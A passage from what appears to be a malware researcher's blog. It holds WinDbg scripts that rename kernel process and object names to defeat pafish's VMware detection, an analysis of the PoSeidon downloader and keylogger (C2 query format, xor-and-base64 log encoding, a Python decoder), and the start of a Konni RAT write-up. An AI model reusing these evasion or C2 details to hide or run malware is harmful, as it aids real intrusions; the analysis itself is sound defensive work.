<br />
<br />
The script:<br />
<br /></div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; font-family: "Source Code Pro", monospace; font-style: inherit; font-weight: inherit; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">aS stage @$t19
.block
{
.sympath "SRV*c:\symcache*http://msdl.microsoft.com/download/symbols";
.reload
}
.block
{
r stage = 2
.printf "xxxx"
.foreach (processes_tok { !process /m ${$arg1} 0 0 })
{
.if($scmp("${processes_tok}","PROCESS")==0)
{
.if(${stage}==2)
{
$$stage==2 is used to skip the first apparition of
$$PROCESS string in the results of !process 0 0
r stage = 0
}
.else
{
r stage = 1
}
}
.elsif(${stage}==1)
{
.printf /D "<b>Renaming process ${processes_tok}</b>\n"
r stage = 0
r $t4 = ${processes_tok}
r $t0 = @@c++( ( ( nt!_EPROCESS * ) @$t4 )->SeAuditProcessCreationInfo.ImageFileName )
r $t1 = (poi @$t0)&0xffff
r $t2 = (poi (@$t0+2))&0xffff
r $t3 = (poi (@$t0+@@c++(#FIELD_OFFSET(nt!_UNICODE_STRING, Buffer))))
db ($t3 + $t1 - a)
$$go to end of buffer of _UNICODE_STRING, and go back 0xa bytes.
$$For example <filepath....><lastbyte>.exe. We locate on
$$lastbyte, and we increase 1 the value of last byte
$$For example <fullpath>\vmtoolsd.exe, will be modified to
$$<fullpath>\vmtoolse.exe
eb ($t3 + $t1 - a) ((poi($t3 + $t1 - a)&0xff)+1)
!process @$t4 0
}
}
}</pre>
</blockquote>
<br />
<h2>
Script for renaming kernel objects</h2>
<br />
<ul>
<li>Parameters: $$>a<change_object_name.wdbg <full object path + name></li>
</ul>
<br />
Script:</div>
<div>
<br />
<ul>
<li><a href="https://github.com/vallejocc/Reversing-Arsenal/blob/master/WinDbg/change_object_name.wdbg">change_object_name.wdbg</a></li>
</ul>
<br />
This script renames a object in kernel.<br />
<br />
First, it gets the address of the _OBJECT_HEADER struct associated to the object (it gets the address from the results of the !object command).<br />
<br />
After getting _OBJECT_HEADER, it can get _OBJECT_HEADER_NAME_INFO structure at the address of _OBJECT_HEADER – 0x10 (in x86) or -0x20 (in x64):</div>
<div>
<br /></div>
<div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLTnJPCbKtiKtm815H62-859Q3CkSiD57rCqHoY29dUY-N8rgQcssnsme6xFSkmGf8guqiDlKYQUaqopxY9_9vAPdj7a4QTuNWl1eOpXwChGNjVrRv7UiRv_GlO0tU4kzdhKQmjQ8jzjA/s1600/temp11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="273" data-original-width="575" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLTnJPCbKtiKtm815H62-859Q3CkSiD57rCqHoY29dUY-N8rgQcssnsme6xFSkmGf8guqiDlKYQUaqopxY9_9vAPdj7a4QTuNWl1eOpXwChGNjVrRv7UiRv_GlO0tU4kzdhKQmjQ8jzjA/s640/temp11.jpg" width="640" /></a></div>
<br /></div>
<div>
We must modify the _UNICODE_STRING into the _OBJECT_HEADER_NAME_INFO for changing the object name.</div>
<br />
A practical example, from pafish:</div>
<div>
<br /></div>
<div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip8u6KTh0mHtPg8Kzv-A200bOdXjd-nLx3-1WJmJVb6Zae6qkEoqeQkm_K-BZmJcdPxnK-CajUXiKaGPhNXY9-SP2HZmXOQq-KDw8FcZWGnWsNXk_fgqBzSzs4e1WNYF27GqcRdDWDJpI/s1600/temp12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="335" data-original-width="553" height="386" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip8u6KTh0mHtPg8Kzv-A200bOdXjd-nLx3-1WJmJVb6Zae6qkEoqeQkm_K-BZmJcdPxnK-CajUXiKaGPhNXY9-SP2HZmXOQq-KDw8FcZWGnWsNXk_fgqBzSzs4e1WNYF27GqcRdDWDJpI/s640/temp12.jpg" width="640" /></a></div>
<br /></div>
It tries to open a couple of devices. Really vmci is a device, and hgfs is a symboliclink to a device. Anyway, both are kernel objects, they have a _OBJECT_HEADER and a _OBJECT_HEADER_NAME_INFO.<br />
<br />
We call the script:<br />
<ul>
<li>$$>a<change_object_name.wdbg \global??\hgfs -> new name \global??\agfs</li>
<li>$$>a<change_object_name.wdbg \devices\vmci -> new name \devices\amci</li>
</ul>
</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1yJIOeUZCr_3dFzQr2KpPq0qrBG1-0tQMy36aXv3tbTZDkNmNqhZM54M9ACKISU1LfrjnXvK6mAjGsK4RZByJpvwjGfYNFVA5KgF_WFobwHhwzjieYGdr9-_ThytPFT1WvJxpLZy7d9U/s1600/temp14+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="752" data-original-width="700" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1yJIOeUZCr_3dFzQr2KpPq0qrBG1-0tQMy36aXv3tbTZDkNmNqhZM54M9ACKISU1LfrjnXvK6mAjGsK4RZByJpvwjGfYNFVA5KgF_WFobwHhwzjieYGdr9-_ThytPFT1WvJxpLZy7d9U/s640/temp14+%25281%2529.jpg" width="594" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
<br />
When pafish tries to CreateFileA these devices, it fails and VM detection with this trick fails.<br />
<br />
The script:</div>
<div>
<br />
<blockquote style="background-color: white; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgba(0, 0, 0, 0.03); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 3px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 24px; outline: 0px; padding: 0px 0px 0px 24px; quotes: "" ""; vertical-align: baseline;">
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; font-family: "Source Code Pro", monospace; font-style: inherit; font-weight: inherit; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">aS stage @$t19
aS x64arch $t18
aS objhnameinfodisp $t17
.block
{
.sympath "SRV*c:\symcache*http://msdl.microsoft.com/download/symbols";
.reload
}
.block
{
$$is x64?
r x64arch = 0;
r objhnameinfodisp = 0x10;
.foreach( tok { .effmach } )
{
.if($scmp("${tok}","x64")==0)
{
r x64arch = 1;
r objhnameinfodisp = 0x20;
.break;
};
};
}
r stage = 0
.foreach( tok { !object "${$arg1}" } )
{
.printf "${tok}\r\n"
.if(${stage}==1)
{
.echo ${tok}
dt _OBJECT_HEADER ${tok}
r $t0 = ${tok}
dt _OBJECT_HEADER_NAME_INFO (@$t0-${objhnameinfodisp})
$$ $t0 -> OBJECT_HEADER_NAME_INFO
r $t0 = @$t0 - ${objhnameinfodisp}
$$ $t0 -> OBJECT_HEADER_NAME_INFO.UNICODE_STRING
r $t0 = @$t0 + @@c++(#FIELD_OFFSET(_OBJECT_HEADER_NAME_INFO, Name))
$$ $t0 -> OBJECT_HEADER_NAME_INFO.UNICODE_STRING.Buffer
r $t0 = @$t0 + @@c++(#FIELD_OFFSET(_UNICODE_STRING, Buffer))
db poi $t0
$$change the first letter for 'a'
eb (poi $t0) 'a'
.printf "--------------------\r\n"
db poi $t0
.break
}
.if(${stage}==0)
{
.if($scmp("${tok}","ObjectHeader:")==0)
{
r stage = 1
}
}
}</pre>
</blockquote>
<br />
<h2>
To Be Continued...</h2>
<br />
For cases like registry keys (HKLM\SOFTWARE\VMware, Inc.\VMware Tools,…) or files (vmmouse.sys,…), the fast way to avoid the detection is to remove/rename the key or file being detected. VMware MAC address is used by pafish too, but vmware lets you to modify the MAC of the adapter. Etc… I mean some tricks can be skipped easier.</div>
<div>
<br />
I would like to write other scripts for similar things like these. Devices or processes in memory, etc… things that maybe they are more difficult to hide.<br />
<br />
If I code more scripts I will update this post to add them with the explanation.<br />
<br />
I hope this information it is useful for you.</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-4846393209043893192017-07-12T13:11:00.000-07:002018-05-04T09:52:38.129-07:00Analysis of PoSeidon downloader and keyloggerIn this post I analyze a sample of Poseidon (sample: <a href="https://www.hybrid-analysis.com/sample/1b7f205b663af9a6eb44f18555bdaad86e0fa58f3a9e4aced3e2ae1e3ed472b5?environmentId=100">1b7f205b663af9a6eb44f18555bdaad86e0fa58f3a9e4aced3e2ae1e3ed472b5</a>, you can read about it <a href="https://otx.alienvault.com/pulse/5963cf360c598200ceaea232/">here</a>). The original sample is a downloader. It is working, and there are online and working CnCs in the list of CnCs that the sample carries. However the malware could be failing to download the second stage executable (the keylogger) because of a bug in the downloader.<br />
<a name='more'></a><h2>
</h2>
<h2>
Downloader</h2>
<br />
The first sample is a downloder for the keylogger. It copies itself to c:\windows\system32\winsrv.exe and installs in run key (it creates WinSrvWD mutex too). Then it autodeletes the first exe and creates two processes:<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijd54Fnyz7ioJ7XpB7TbS0kgm7xLLnvLDKp-32qtKBmryL-_nl8vecq1PdL1PjnBO4PX6Yd4OSLSqjCFGdEv79KFWZ2KRwnbT6YoeuN_aIY_4lNLWgBhNCprBAsdu_-h2KpkvST3RYfzE/s1600/downloader_processes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="306" data-original-width="534" height="366" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijd54Fnyz7ioJ7XpB7TbS0kgm7xLLnvLDKp-32qtKBmryL-_nl8vecq1PdL1PjnBO4PX6Yd4OSLSqjCFGdEv79KFWZ2KRwnbT6YoeuN_aIY_4lNLWgBhNCprBAsdu_-h2KpkvST3RYfzE/s640/downloader_processes.jpg" width="640" /></a></div>
<br />
<br />
<br />
Both processes are running the same executable. Svchost.exe is running a function that it is only dedicated to protect WinSrv.exe in case the process dies.<br />
<br />
WinSrv.exe executes the main code of the downloader.<br />
<br />
Basically the downloader tries to connect the list of CnCs:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqZFCIp87uk1jV8ExMhpdNHcFIcAI1tM8z1kUhnbq4FvxcFUmN4-56-PW1XiyLSzhiWYhUZZxQtCKKe8XMC1NRsfWGfyQg9u2_7Gfo1kSKVnvtyh14e_ICIaiYYSdpecI_6TWBmx8FCkY/s1600/urls.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="457" data-original-width="700" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqZFCIp87uk1jV8ExMhpdNHcFIcAI1tM8z1kUhnbq4FvxcFUmN4-56-PW1XiyLSzhiWYhUZZxQtCKKe8XMC1NRsfWGfyQg9u2_7Gfo1kSKVnvtyh14e_ICIaiYYSdpecI_6TWBmx8FCkY/s640/urls.jpg" width="640" /></a></div>
<br />
<br />
When it is able to resolve a domain of the list, it tries to connect and send information about the machine (if it is not able to resolve, it tries the next url):<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGQ0xVFOgVTFHSOv9oGq_VvCfDOmDC904uqeEDkwKiSd5j1yXgAzFtUuvRkSvU6iwBFEKhryurDBU7_kbf57zWjLPSxQfvXcwlgKgzxA3oR1w_N5DGWZUqz8nAhUfMr_x0wVjatZFhOvU/s1600/downloader_first_connect.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="388" data-original-width="700" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGQ0xVFOgVTFHSOv9oGq_VvCfDOmDC904uqeEDkwKiSd5j1yXgAzFtUuvRkSvU6iwBFEKhryurDBU7_kbf57zWjLPSxQfvXcwlgKgzxA3oR1w_N5DGWZUqz8nAhUfMr_x0wVjatZFhOvU/s640/downloader_first_connect.jpg" width="640" /></a></div>
<br />
<br /></div>
<div>
Here it comes the problem. When It connects a valid url, the CnC should answer it with a response with an structure that the downloader understands. But it seems to have a bug when the server is a valid domain and a valid http server, but it is not running the CnC server, it answers with some http “not found” error or something like that (an error page). In this case, the malware can’t find the valid structure that it searchs for, and it reattemps the same url. And again, it happens the same.<br />
<br />
So, when the downloader finds a valid http server that is not running the CnC server code, the downloader will enter into a loop trying the same url and won’t continue with the next urls (and it never will download the second exe).<br />
<br />
It was happening this, so i had to trick it for the downloader continued trying the next urls. Finally it found a valid url with valid CnC server answering, and here it’s the answer from the server:<br />
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZNO700QEWEOUlr_2pSWG9qNZu7yQs9GTkKynIKdGIOOsOshfn_WzcFXJxFYrpXCpbsCYnT2Agao7L_29xGWKsAsKVEpBcXv5NsCsP1KIxU6-xGujkfD3kJyXK-CwMTMmF75i6cmq1K60/s1600/respuesta_correcta.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="336" data-original-width="700" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZNO700QEWEOUlr_2pSWG9qNZu7yQs9GTkKynIKdGIOOsOshfn_WzcFXJxFYrpXCpbsCYnT2Agao7L_29xGWKsAsKVEpBcXv5NsCsP1KIxU6-xGujkfD3kJyXK-CwMTMmF75i6cmq1K60/s640/respuesta_correcta.jpg" width="640" /></a></div>
<br />
<br /></div>
<div>
As we can see, it is a valid html saying “this page does not exists!” prefixed with the malware structure.<br />
<br />
In the malware answer we can find a url where it can download the second stage exe, and a new list of urls.<br />
<br />
It will keep the new list of urls into a file: c:\windows\system32\winsrv.exe.cfg, and it will run another instance of svchost.exe to inject (process hollowing) the downloaded exe POSNumBot_baked.exe.<br />
<br />
I haven’t seen other interesting things in the downloader to comment. As we saw, the query to the CnC server it is easy, it is plain text and it only encode with base64 the machine info. It would be not hard to write a python client.<br />
<br />
<br />
<h2>
POSNumBot</h2>
<br />
The second executable that it downloads is the keylogger. I uploaded it <a href="https://virustotal.com/es/file/49cd85dd010f83588fb60d1e60684877a515f363267cce5d5f0d0507a78392cd/analysis/1499877470/">here</a>.<br />
<br />
It is not packed. It runs perfectly with double-click (not necesary the downloader to load it).<br />
<br />
It creates a window where it will receive keyboard events:<br />
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT_e1eanUSI_kx7LmgNbNhnkSEshSZkp2rYpuhXT0E0sVs9bzy3SfnojleBaGyaDFg95f25691NB13_jCz25b6hYcitT_G-3DYopN9oRwIrYWAjtFjltJm1TH7q9rbXd3XKhROlNS4jkU/s1600/createwindowlogger.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="791" data-original-width="677" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT_e1eanUSI_kx7LmgNbNhnkSEshSZkp2rYpuhXT0E0sVs9bzy3SfnojleBaGyaDFg95f25691NB13_jCz25b6hYcitT_G-3DYopN9oRwIrYWAjtFjltJm1TH7q9rbXd3XKhROlNS4jkU/s640/createwindowlogger.jpg" width="546" /></a></div>
<br />
<br />
<br />
Here it logs keyboard events:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmAU5V8HOGr6i23RFDlYTynvNpnx-_7iqsFHidzXevtVA6Nqlh9Z2uudhVuiOf_KPcI-8kxAENrUe3ljzzhHUtc8LNREaar46dAjOXyvsYO02NEtp3v6cPGkbpnSbrtXYEqNQDF5LKusU/s1600/createwindowlogger1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="270" data-original-width="688" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmAU5V8HOGr6i23RFDlYTynvNpnx-_7iqsFHidzXevtVA6Nqlh9Z2uudhVuiOf_KPcI-8kxAENrUe3ljzzhHUtc8LNREaar46dAjOXyvsYO02NEtp3v6cPGkbpnSbrtXYEqNQDF5LKusU/s640/createwindowlogger1.jpg" width="640" /></a></div>
<br />
<br /></div>
<div>
It queues keyboard events to a list that is read from another thread, and this other thread is responsible for communication with CnC:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjklm_lCLcXoCRr1H72dIcXQsrDcLNHwxEGwwCRVa-y31iRjybgSbksHlRd0xRcBHUAu7lDDVuKdUdXpe1iqv_QMF99nLJ-tY1Ecn2QhSHO2UZV11kuLGwLnlNw67lQEnhKuFMes-qKPDM/s1600/createwindowlogger3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="827" data-original-width="492" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjklm_lCLcXoCRr1H72dIcXQsrDcLNHwxEGwwCRVa-y31iRjybgSbksHlRd0xRcBHUAu7lDDVuKdUdXpe1iqv_QMF99nLJ-tY1Ecn2QhSHO2UZV11kuLGwLnlNw67lQEnhKuFMes-qKPDM/s640/createwindowlogger3.jpg" width="380" /></a></div>
<br />
<br />
<br />
<br />
The thread that connects CnC:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0kz5CC5l9Zv3Hg4bbB9XVCVuialo0Dq0xetl5SjB_EaCrws4WZMHYS3X6WB3wIL-hJNGOElxs-37ZWvQceEiPAqrEwjRVaFxa0tgn6r13MNOPlZbpaygQAsPkw_CJrhI1AwKBPe2PiHU/s1600/connectcnc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="579" data-original-width="647" height="572" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0kz5CC5l9Zv3Hg4bbB9XVCVuialo0Dq0xetl5SjB_EaCrws4WZMHYS3X6WB3wIL-hJNGOElxs-37ZWvQceEiPAqrEwjRVaFxa0tgn6r13MNOPlZbpaygQAsPkw_CJrhI1AwKBPe2PiHU/s640/connectcnc.jpg" width="640" /></a></div>
<br />
<br />
<br />
It composes a query like this:<br />
<br />
<br />
oprat=2&uid=6922070704454700032&uinfo=<user info>==&win=6.1&vers=13.40M&logs=<logged keys><br />
<br />
Uinfo is information about the user, encoded with base64 (like the downloader did).<br />
<br />
The logs= parameter is used to send logged keys. This information is encrypted with a simple xor val, 0x2a, and encoded with base64:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQevXWlVUKoPY2PQ4cDkkQDO2mZciK3QF4-ZHlwj_YmBtaGhVvt2dlLshYxkRf7EXXPYn3yHvF-0bZoEwLONxs5XkiMLEIbEZ0Bg_RPrKXWD1hI-x424bUJOb3GwHpQtx8CboQCFSFCeM/s1600/connectcnc1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="586" data-original-width="700" height="534" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQevXWlVUKoPY2PQ4cDkkQDO2mZciK3QF4-ZHlwj_YmBtaGhVvt2dlLshYxkRf7EXXPYn3yHvF-0bZoEwLONxs5XkiMLEIbEZ0Bg_RPrKXWD1hI-x424bUJOb3GwHpQtx8CboQCFSFCeM/s640/connectcnc1.jpg" width="640" /></a></div>
<br />
<br />
<br />
This second PE only has an unique CnC url to connect.<br />
<br />
We open a notepad to cause keyboard events:<br />
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzSCe71ky_NZjPf0dbRdTrrC9pjIXWDUrjXJ2Y3OK6VMw2ufm91VN2_qBhR5svAVpi4sKat5CWwjoallHh4UoRNlqZ6DGLjp63vHetF8PVKJMvXqWgWtRVa7Z899E3Z2Zrts5V2qwC4cY/s1600/keypress.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="396" data-original-width="649" height="390" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzSCe71ky_NZjPf0dbRdTrrC9pjIXWDUrjXJ2Y3OK6VMw2ufm91VN2_qBhR5svAVpi4sKat5CWwjoallHh4UoRNlqZ6DGLjp63vHetF8PVKJMvXqWgWtRVa7Z899E3Z2Zrts5V2qwC4cY/s640/keypress.jpg" width="640" /></a></div>
<br />
<br /></div>
<div>
Here it is a capture of the data sent to the CnC:</div>
<div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GacYol9Vcw7cCMh3CteYsmNcsq_IGyfY98Jhg6CecMmYqCxGQoLh3ajqGRuFV_K5rc_3JBausX1FFkrjbth6V9d41WzAKj728mIaBJKX4Gj_q8ezft10lBNiuzNFVXMblB6DFuxeBsQ/s1600/connectcnc2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="362" data-original-width="700" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GacYol9Vcw7cCMh3CteYsmNcsq_IGyfY98Jhg6CecMmYqCxGQoLh3ajqGRuFV_K5rc_3JBausX1FFkrjbth6V9d41WzAKj728mIaBJKX4Gj_q8ezft10lBNiuzNFVXMblB6DFuxeBsQ/s640/connectcnc2.jpg" width="640" /></a></div>
<br />
<br />
<br />
<br /></div>
<div>
With this tiny script we decode the data sent in logs parameter:<br />
<br />
<br />
import base64<br />
<br />
s = “QUFBREVYT3FoS0lBWVpLSU93cWhLSUFZWktJT3deT1pLTnFvRF5PWHdxZH9nb3hlCh93cWZrWFhFXXdxZH9nb3hlCh93cWZrWFhFXXdxZH9nb3hlCh93cWZrWFhFXXdxektNT25FXUR3cW5rWFhFXXdxb0ROd3F4a1hYRV13cX9rWFhFXXdxYkVHT3dxeGtYWEVdd3F/a1hYRV13cWJFR093cXpLTU9uRV1Ed3FvRF5PWHdxZH9nb3hlCh93cW5rWFhFXXdxb0ROd3FvRF5PWHdxb0ROd3Fkf2dveGUKH3dxZmtYWEVdd3F4a1hYRV13cWZrWFhFXXdxeGtYWEVdd3Fkf2dveGUKH3dxZmtYWEVdd3F4a1hYRV13cWR/Z294ZQofd3Fma1hYRV13cXpLTU9uRV1Ed3Fua1hYRV13cW9ETndxbmtYWEVdd3FvRE53cXpLTU9uRV1Ed3Fua1hYRV13cW9ETndxemt/eWt3Hx4cEh4ccW9EXk9Ydx4cEh0TAQUdEwVxb0ReT1h3Eh4bGRgbcW9EXk9YdxwSHhMBEh0TEh0eHB8eExIeExIeHBI=”<br />
<br />
s = base64.b64decode(s)<br />
<br />
sout = “”<br />
<br />
for i in range(0, len(s)):<br />
sout += chr(ord(s[i])^0x2A)<br />
<br />
f = open(“decryptlog_out.bin”, “wb”)<br />
f.write(sout)<br />
f.close()<br />
<br /></div>
<div>
We get these decrypted results:<br />
<br />
<br />
kkknore[Backspace][Backspace]tepad[Enter][NUMERO 5][LArrow][NUMERO 5][LArrow][NUMERO 5][LArrow][PageDown][DArrow][End][RArrow][UArrow][Home][RArrow][UArrow][Home][PageDown][Enter][NUMERO 5][DArrow][End][Enter][End][NUMERO 5][LArrow][RArrow][LArrow][RArrow][NUMERO 5][LArrow][RArrow][NUMERO 5][LArrow][PageDown][DArrow][End][DArrow][End][PageDown][DArrow][End][PAUSA]546846[Enter]46879+/79/[Enter]841321[Enter]6849+87987465498498468<br />
<br /></div>
<div>
If we compare these results with the notepad of the capture, we see the pressed keys ar contained in the log (btw, some words in the log like “NUMERO” or “PAUSA”, are spanish. I suppose this is due to my vmware guest machine spanish configuration).<br />
<br />
<h2>
Conclusion</h2>
<br />
PoSeidon seems to be a simple dowloader + keylogger not specially dificult to debug. If I did not make a mistake while debugging, it seems the downloader has a bug that would prevent it to download the second exe when a previous valid url with a valid http server is found, but the CnC server is not installed there.<br />
<br />
<h2>
References</h2>
</div>
<div>
<br /></div>
<div>
<ul>
<li><a href="https://www.riskanalytics.com/blog/post.php?s=2017-07-07-coming-to-a-break-room-near-you-point-of-sale-malware">https://www.riskanalytics.com/blog/post.php?s=2017-07-07-coming-to-a-break-room-near-you-point-of-sale-malware</a></li>
<li><a href="https://otx.alienvault.com/pulse/5963cf360c598200ceaea232/">https://otx.alienvault.com/pulse/5963cf360c598200ceaea232/</a></li>
<li><a href="https://otx.alienvault.com/pulse/5963420fd5df7633ca659237/">https://otx.alienvault.com/pulse/5963420fd5df7633ca659237/</a></li>
</ul>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-14706514753949482782017-07-08T13:02:00.000-07:002018-05-04T09:53:35.494-07:00Analysis of new variant of Konni RATThese days TalosIntelligence commented about a <a href="http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos+Blog%29">new variant of Konni RAT</a>. It is not a complicated malware, but it implements some interesting tricks and functionality typical of RATs. I wanted to take a look at something different (there is more life after the ransomware ) and in this post you can find a brief analysis of this RAT. I hope you enjoy it.<br />
<a name='more'></a><br />
Before startintg with the post, i would like to refer to you to the <a href="http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html">TalosIntelligence analysis of a previous variant of Konni.</a> New variant is similar to the variant analyzed in Talos post. However there are some different things. In addition i reversed different parts of the code, and i give other details. For this reason i recommend reading both posts if you are interesting in having a good knowledge about this RAT.<br />
<br />
<div>
<h2>
Modules</h2>
<br />
We have the sample <a href="https://www.hybrid-analysis.com/sample/33f828ad462c414b149f14f16615ce25bd078630eee36ad953950e0da2e2cc90?environmentId=100">f4abe28f3c35fa75481ae056d8637574</a>. It is a dropper that is able to drop different PE files depending on the architecture (32 / 64). If we unpack the dropper we can find it has two PE files and two DOCX files into resources:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguk-TlJwvs_EEfTLg4D2WMsQzNarXg_rCOWhIJTVA8y1fP5o7d6t3Lke3KUN9YPd36HRcHgX654oOoHVt74-Z7Zuhflva34TmU-bw2-kj9XfNCgvC5JhowsvLdbxTe85UUTMV_sioz5xA/s1600/temp4+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="464" data-original-width="700" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguk-TlJwvs_EEfTLg4D2WMsQzNarXg_rCOWhIJTVA8y1fP5o7d6t3Lke3KUN9YPd36HRcHgX654oOoHVt74-Z7Zuhflva34TmU-bw2-kj9XfNCgvC5JhowsvLdbxTe85UUTMV_sioz5xA/s640/temp4+%25281%2529.jpg" width="640" /></a></div>
<br />
<br />
<br />
Docx file1: <a href="https://virustotal.com/es/file/63a43fe8874fbbf3adb1b9aeb03adb6bfaa2935a40bb1893e90e3ab762dd44bd/analysis/1499453050/">63a43fe8874fbbf3adb1b9aeb03adb6bfaa2935a40bb1893e90e3ab762dd44bd</a><br />
<br />
Docx file2: <a href="https://virustotal.com/es/file/a12db66cb7b7b991ac2ba736fb48e04566ffd2defdcb08fb9a8ab3781253f73c/analysis/1499453062/">a12db66cb7b7b991ac2ba736fb48e04566ffd2defdcb08fb9a8ab3781253f73c</a><br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
